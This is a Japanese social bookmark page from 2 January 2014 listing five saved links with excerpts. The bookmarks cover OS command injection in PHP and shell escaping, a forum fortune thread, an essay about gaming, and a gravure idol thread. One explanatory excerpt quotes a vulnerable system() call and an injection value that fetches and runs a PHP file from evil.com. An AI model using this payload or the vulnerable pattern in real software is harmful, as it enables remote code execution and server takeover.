kamipoのブックマーク / 2014年1月2日

kamipo id:kamipo

2014年1月2日のブックマーク (5件)

コマンド実行でシェルが怖いなら使わなければいいじゃない - 拡張 POSIX シェルスクリプト Advent Calendar 2013 - ダメ出し Blog
http://blog.ohgaki.net/os-command-escape-shell-spec-command-implementation 「えすけーぷじゅうよう!!」を強調して言いたいからなのかシェルの理解が足りないからなのか、意図がよくわからない文言やら説明が散見されますが、きりがないのでそれらはスルーします。 (シェルについては、なんで関係ない tcsh の話が出てくるんだとか、位置パラメーター展開に $* 使うなとか、色々) 特に気になったのが以下の文章です。(強調は私によるもの) OSコマンドはOSが提供するシェルで実行されます。シェルはテキストインターフェースを持ち、テキストでコマンドとオプションを受け取り実行します。例示した脆弱なPHPプログラムの場合、ユーザーからの入力に対しセキュリティ処理を一切してないため、簡単にサーバーを乗っ取られる可能性があり
kamipo 2014/01/02
リンク
PHPだってシェル経由でないコマンド呼び出し機能が欲しい
このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba
kamipo 2014/01/02
リンク
誕生日で２０１４年の運勢が分かるらしいぞｗｗｗｗｗｗｗｗｗｗｗ : 暇人＼(^o^)／速報
誕生日で２０１４年の運勢が分かるらしいぞｗｗｗｗｗｗｗｗｗｗｗ Tweet 1：以下、名無しにかわりましてVIPがお送りします：2014/01/01(水) 11:18:49.95 ID:Lle6q5wr0 やればやるほど事件を起こす 2：以下、名無しにかわりましてVIPがお送りします：2014/01/01(水) 11:19:23.10 ID:4EBwy5Fr0 予想に反して嫌われる 58：以下、名無しにかわりましてVIPがお送りします：2014/01/01(水) 11:30:09.50 ID:ltxLlMyU0 >>2全く一緒でビビった 3：【吉】：2014/01/01(水) 11:19:23.46 ID:2AgAJjG20 何度も何度も満たされない… 6：【851円】：2014/01/01(水) 11:20:09.43 ID:6ygNzDIU0 >>3 同じ… 7：以下、名無しに
kamipo 2014/01/02
何度も何度も挫折する
リンク
ゲームばかりして少年時代を過ごしていたら、ゲームで飯が食えるようになったある男の話 - つきあたりを右に
新年あけましておめでとうございます本名よりもHNの方がGoogleで返す情報量の多いVoQnです。昨年末に、「ある少年に、ゲームをする時間よりも有意義な時間の過ごし方があると諭した」という記事が賛否問わず話題となりました。ＤＳの中でキャラクターが強くなって、それで？君は何を得たの？答えはゼロ、なんにも得ていない。仕事を頑張ったらお金がもらえるけど、それもない。勉強でもスポーツでもないので、一つでも漢字を覚える（つまりもっといろんな本が読めるようになるってことだ）、計算ができるようになる、サッカーがうまくなる、もちろんどれもない。ゼロ。君の未来の何にもつながっていないんだ。なるほど、それはわかるんだね。ということは君がＤＳに使っている時間はすべてゴミだということだ。ほら、床に落ちてるホコリとかゴミがあるだろ。これと同じ。全てゴミとして君は時間を捨てている。もちろんね、生きていて無駄な
kamipo 2014/01/02
リンク
【画像あり】佐野ひなことかいうグラビアアイドルｗｗｗｗｗｗｗｗ : 暇人＼(^o^)／速報
【画像あり】佐野ひなことかいうグラビアアイドルｗｗｗｗｗｗｗｗ Tweet 1：以下、名無しにかわりましてVIPがお送りします：2013/12/31(火) 09:44:38.86 ID:ztLGP15Ei かわＥ 4：以下、名無しにかわりましてVIPがお送りします：2013/12/31(火) 09:47:30.77 ID:ztLGP15Ei 5：以下、名無しにかわりましてVIPがお送りします：2013/12/31(火) 09:47:41.52 ID:fgmF+uxG0 かわいいよな 6：以下、名無しにかわりましてVIPがお送りします：2013/12/31(火) 09:48:46.01 ID:ztLGP15Ei 水着いくお 7：以下、名無しにかわりましてVIPがお送りします：2013/12/31(火) 09:49:37.67 ID:ztLGP15Ei 8：以下、名無しにかわりましてVIPがお
kamipo 2014/01/02
SmartNews
リンク
- 2014年1月3日
- 2014年1月2日
- 2014年1月1日